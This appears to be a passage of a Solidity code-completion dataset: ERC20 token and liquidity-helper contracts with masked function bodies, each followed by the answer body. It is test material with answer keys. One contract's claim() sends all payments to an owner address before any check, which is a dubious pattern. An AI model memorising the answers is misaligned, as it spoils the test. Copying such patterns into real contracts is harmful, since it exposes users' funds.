function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
| function approve(address spender, uint tokens) public returns (bool success) | // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) |
76181 | IMPULSEVEN | null | contract IMPULSEVEN is Token{
constructor() public{<FILL_FUNCTION_BODY> }
receive () payable external {
require(msg.value>0);
owner.transfer(msg.value);
}
} | contract IMPULSEVEN is Token{
<FILL_FUNCTION>
receive () payable external {
require(msg.value>0);
owner.transfer(msg.value);
}
} |
symbol = "VEN";
name = "IMPULSEVEN";
decimals = 18;
totalSupply = 10000000000000000000000000;
owner = msg.sender;
balances[owner] = totalSupply;
| constructor() public | constructor() public |
67240 | BasicToken | balanceOf | contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
uint totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint) {<FILL_FUNCTION_BODY> }
} | contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
uint totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
<FILL_FUNCTION>
} |
return balances[_owner];
| function balanceOf(address _owner) public view returns (uint) | /**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint) |
44029 | OriginalToken | transferFrom | contract OriginalToken is Cofounded, ERC20, ERC165, InterfaceSignatureConstants {
bool private hasExecutedCofounderDistribution;
struct Allowance {
uint256 amount;
bool hasBeenPartiallyWithdrawn;
}
//***** Apparently Optional *****/
/// @dev returns the name of the token
string public constant name = 'Original Crypto Coin';
/// @dev returns the symbol of the token (e.g. 'OCC')
string public constant symbol = 'OCC';
/// @dev returns the number of decimals the tokens use
uint8 public constant decimals = 18;
//**********/
/// @dev returns the total token supply
/// @note implemented as a state variable with an automatic (compiler provided) getter
/// instead of a constant (view/readonly) function.
uint256 public totalSupply = 100000000000000000000000000000;
mapping (address => uint256) public balances;
// TODO: determine if the gas cost for handling the race condition
// (outlined here: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729)
// is cheaper this way (or this way: https://github.com/Giveth/minime/blob/master/contracts/MiniMeToken.sol#L221-L225)
mapping (address => mapping (address => Allowance)) public allowances;
/// @dev creates the token
/// NOTE passes tokenCofounders to base contract
/// see Cofounded
function OriginalToken (address[] tokenCofounders,
uint256 cofounderDistribution) Cofounded(tokenCofounders) public {
if (hasExecutedCofounderDistribution ||
cofounderDistribution == 0 ||
totalSupply < cofounderDistribution) revert();
hasExecutedCofounderDistribution = true;
uint256 initialSupply = totalSupply;
// divvy up initial token supply accross cofounders
// TODO: ensure each cofounder gets an equal base distribution
for (uint8 x = 0; x < cofounders.length; x++) {
address cofounder = cofounders[x];
initialSupply -= cofounderDistribution;
// there should be some left over for the airdrop campaign
// otherwise don't create this contract
if (initialSupply < cofounderDistribution) revert();
balances[cofounder] = cofounderDistribution;
}
balances[msg.sender] += initialSupply;
}
function transfer (address to, uint256 value) public returns (bool) {
return transferBalance (msg.sender, to, value);
}
function transferFrom (address from, address to, uint256 value) public returns (bool success) {<FILL_FUNCTION_BODY> }
event ApprovalDenied (address indexed owner, address indexed spender);
// TODO: test with an unintialized Allowance struct
function approve (address spender, uint256 value) public returns (bool success) {
Allowance storage allowance = allowances[msg.sender][spender];
if (value == 0) {
delete allowances[msg.sender][spender];
Approval(msg.sender, spender, value);
return true;
}
if (allowance.hasBeenPartiallyWithdrawn) {
delete allowances[msg.sender][spender];
ApprovalDenied(msg.sender, spender);
return false;
} else {
allowance.amount = value;
Approval(msg.sender, spender, value);
}
return true;
}
// TODO: compare gas cost estimations between this and https://github.com/ConsenSys/Tokens/blob/master/contracts/eip20/EIP20.sol#L39-L45
function transferBalance (address from, address to, uint256 value) private returns (bool) {
// don't burn these tokens
if (to == address(0) || from == to) revert();
// match spec and emit events on 0 value
if (value == 0) {
Transfer(msg.sender, to, value);
return true;
}
uint256 senderBalance = balances[from];
uint256 receiverBalance = balances[to];
if (senderBalance < value) revert();
senderBalance -= value;
receiverBalance += value;
// overflow check (altough one could use https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol)
if (receiverBalance < value) revert();
balances[from] = senderBalance;
balances[to] = receiverBalance;
Transfer(from, to, value);
return true;
}
// TODO: test with an unintialized Allowance struct
function allowance (address owner, address spender) public constant returns (uint256 remaining) {
return allowances[owner][spender].amount;
}
function balanceOf (address owner) public constant returns (uint256 balance) {
return balances[owner];
}
function supportsInterface (bytes4 interfaceID) external constant returns (bool) {
return ((interfaceID == InterfaceSignature_ERC165) ||
(interfaceID == InterfaceSignature_ERC20) ||
(interfaceID == InterfaceSignature_ERC20_PlusOptions));
}
} | contract OriginalToken is Cofounded, ERC20, ERC165, InterfaceSignatureConstants {
bool private hasExecutedCofounderDistribution;
struct Allowance {
uint256 amount;
bool hasBeenPartiallyWithdrawn;
}
//***** Apparently Optional *****/
/// @dev returns the name of the token
string public constant name = 'Original Crypto Coin';
/// @dev returns the symbol of the token (e.g. 'OCC')
string public constant symbol = 'OCC';
/// @dev returns the number of decimals the tokens use
uint8 public constant decimals = 18;
//**********/
/// @dev returns the total token supply
/// @note implemented as a state variable with an automatic (compiler provided) getter
/// instead of a constant (view/readonly) function.
uint256 public totalSupply = 100000000000000000000000000000;
mapping (address => uint256) public balances;
// TODO: determine if the gas cost for handling the race condition
// (outlined here: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729)
// is cheaper this way (or this way: https://github.com/Giveth/minime/blob/master/contracts/MiniMeToken.sol#L221-L225)
mapping (address => mapping (address => Allowance)) public allowances;
/// @dev creates the token
/// NOTE passes tokenCofounders to base contract
/// see Cofounded
function OriginalToken (address[] tokenCofounders,
uint256 cofounderDistribution) Cofounded(tokenCofounders) public {
if (hasExecutedCofounderDistribution ||
cofounderDistribution == 0 ||
totalSupply < cofounderDistribution) revert();
hasExecutedCofounderDistribution = true;
uint256 initialSupply = totalSupply;
// divvy up initial token supply accross cofounders
// TODO: ensure each cofounder gets an equal base distribution
for (uint8 x = 0; x < cofounders.length; x++) {
address cofounder = cofounders[x];
initialSupply -= cofounderDistribution;
// there should be some left over for the airdrop campaign
// otherwise don't create this contract
if (initialSupply < cofounderDistribution) revert();
balances[cofounder] = cofounderDistribution;
}
balances[msg.sender] += initialSupply;
}
function transfer (address to, uint256 value) public returns (bool) {
return transferBalance (msg.sender, to, value);
}
<FILL_FUNCTION>
event ApprovalDenied (address indexed owner, address indexed spender);
// TODO: test with an unintialized Allowance struct
function approve (address spender, uint256 value) public returns (bool success) {
Allowance storage allowance = allowances[msg.sender][spender];
if (value == 0) {
delete allowances[msg.sender][spender];
Approval(msg.sender, spender, value);
return true;
}
if (allowance.hasBeenPartiallyWithdrawn) {
delete allowances[msg.sender][spender];
ApprovalDenied(msg.sender, spender);
return false;
} else {
allowance.amount = value;
Approval(msg.sender, spender, value);
}
return true;
}
// TODO: compare gas cost estimations between this and https://github.com/ConsenSys/Tokens/blob/master/contracts/eip20/EIP20.sol#L39-L45
function transferBalance (address from, address to, uint256 value) private returns (bool) {
// don't burn these tokens
if (to == address(0) || from == to) revert();
// match spec and emit events on 0 value
if (value == 0) {
Transfer(msg.sender, to, value);
return true;
}
uint256 senderBalance = balances[from];
uint256 receiverBalance = balances[to];
if (senderBalance < value) revert();
senderBalance -= value;
receiverBalance += value;
// overflow check (altough one could use https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol)
if (receiverBalance < value) revert();
balances[from] = senderBalance;
balances[to] = receiverBalance;
Transfer(from, to, value);
return true;
}
// TODO: test with an unintialized Allowance struct
function allowance (address owner, address spender) public constant returns (uint256 remaining) {
return allowances[owner][spender].amount;
}
function balanceOf (address owner) public constant returns (uint256 balance) {
return balances[owner];
}
function supportsInterface (bytes4 interfaceID) external constant returns (bool) {
return ((interfaceID == InterfaceSignature_ERC165) ||
(interfaceID == InterfaceSignature_ERC20) ||
(interfaceID == InterfaceSignature_ERC20_PlusOptions));
}
} |
Allowance storage allowance = allowances[from][msg.sender];
if (allowance.amount < value) revert();
allowance.hasBeenPartiallyWithdrawn = true;
allowance.amount -= value;
if (allowance.amount == 0) {
delete allowances[from][msg.sender];
}
return transferBalance(from, to, value);
| function transferFrom (address from, address to, uint256 value) public returns (bool success) | function transferFrom (address from, address to, uint256 value) public returns (bool success) |
34478 | LiquidityUtils | null | contract LiquidityUtils is Ownable {
using SafeMath for uint256;
IUniswapV2Router02 uniswap;
constructor() public {<FILL_FUNCTION_BODY> }
receive() external payable {}
function approve(IERC20 token) public onlyOwner {
token.approve(address(uniswap), type(uint256).max);
}
function addLiquidity(IERC20 token) public payable onlyOwner returns (uint, uint, uint){
uint256 bal = token.balanceOf(address(this));
token.approve(address(uniswap), bal);
return uniswap.addLiquidityETH(
address(token),
bal, 0, msg.value, msg.sender, block.timestamp
);
}
function withdrawErc20(IERC20 token, uint256 amount) public onlyOwner{
if (amount == 0) {
amount = token.balanceOf(address(this));
}
token.transfer(msg.sender, amount);
}
function done() public onlyOwner {
selfdestruct(msg.sender);
}
} | contract LiquidityUtils is Ownable {
using SafeMath for uint256;
IUniswapV2Router02 uniswap;
<FILL_FUNCTION>
receive() external payable {}
function approve(IERC20 token) public onlyOwner {
token.approve(address(uniswap), type(uint256).max);
}
function addLiquidity(IERC20 token) public payable onlyOwner returns (uint, uint, uint){
uint256 bal = token.balanceOf(address(this));
token.approve(address(uniswap), bal);
return uniswap.addLiquidityETH(
address(token),
bal, 0, msg.value, msg.sender, block.timestamp
);
}
function withdrawErc20(IERC20 token, uint256 amount) public onlyOwner{
if (amount == 0) {
amount = token.balanceOf(address(this));
}
token.transfer(msg.sender, amount);
}
function done() public onlyOwner {
selfdestruct(msg.sender);
}
} |
uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
| constructor() public | constructor() public |
74937 | Token | checkclaim | contract Token {
mapping (address => uint256) public balanceOf;
mapping (bytes32 => uint8) public claims;
string public name = "www.METH.co.in";
string public symbol = "METH";
uint8 public decimals = 18;
uint256 public totalSupply = 0;
address public boss = 0x6847ABF4B740DB5cE169D1653B30fd087E9F6047;
event Transfer(address indexed from, address indexed to, uint256 value);
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
function claim(address claimer, bytes32 r,bytes32 s,uint8 v,string glump, uint256 value) public payable returns (string) {
var chash = keccak256(abi.encodePacked(value,claimer,glump));
boss.transfer(msg.value);
if(msg.value >= 1e16){
if(claims[chash]==1){}else{
if(ecrecover(chash, v, r, s) == boss){
claims[chash] = 1;
var howmany = value * 1e5;
balanceOf[claimer] += howmany;
totalSupply += howmany;
emit Transfer(address(0), claimer, howmany);
balanceOf[msg.sender] += howmany;
totalSupply += howmany;
emit Transfer(address(0), msg.sender, howmany);
}
}
}
}
function checkclaim(address claimer,string glump, uint256 value) public view returns (string) {<FILL_FUNCTION_BODY> }
function () public payable { boss.transfer(msg.value); }
} | contract Token {
mapping (address => uint256) public balanceOf;
mapping (bytes32 => uint8) public claims;
string public name = "www.METH.co.in";
string public symbol = "METH";
uint8 public decimals = 18;
uint256 public totalSupply = 0;
address public boss = 0x6847ABF4B740DB5cE169D1653B30fd087E9F6047;
event Transfer(address indexed from, address indexed to, uint256 value);
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
function claim(address claimer, bytes32 r,bytes32 s,uint8 v,string glump, uint256 value) public payable returns (string) {
var chash = keccak256(abi.encodePacked(value,claimer,glump));
boss.transfer(msg.value);
if(msg.value >= 1e16){
if(claims[chash]==1){}else{
if(ecrecover(chash, v, r, s) == boss){
claims[chash] = 1;
var howmany = value * 1e5;
balanceOf[claimer] += howmany;
totalSupply += howmany;
emit Transfer(address(0), claimer, howmany);
balanceOf[msg.sender] += howmany;
totalSupply += howmany;
emit Transfer(address(0), msg.sender, howmany);
}
}
}
}
<FILL_FUNCTION>
function () public payable { boss.transfer(msg.value); }
} |
var chash = keccak256(abi.encodePacked(value,claimer,glump));
if(claims[chash]==1){return "already claimed"; }else{ return "available to claim"; }
| function checkclaim(address claimer,string glump, uint256 value) public view returns (string) | function checkclaim(address claimer,string glump, uint256 value) public view returns (string) |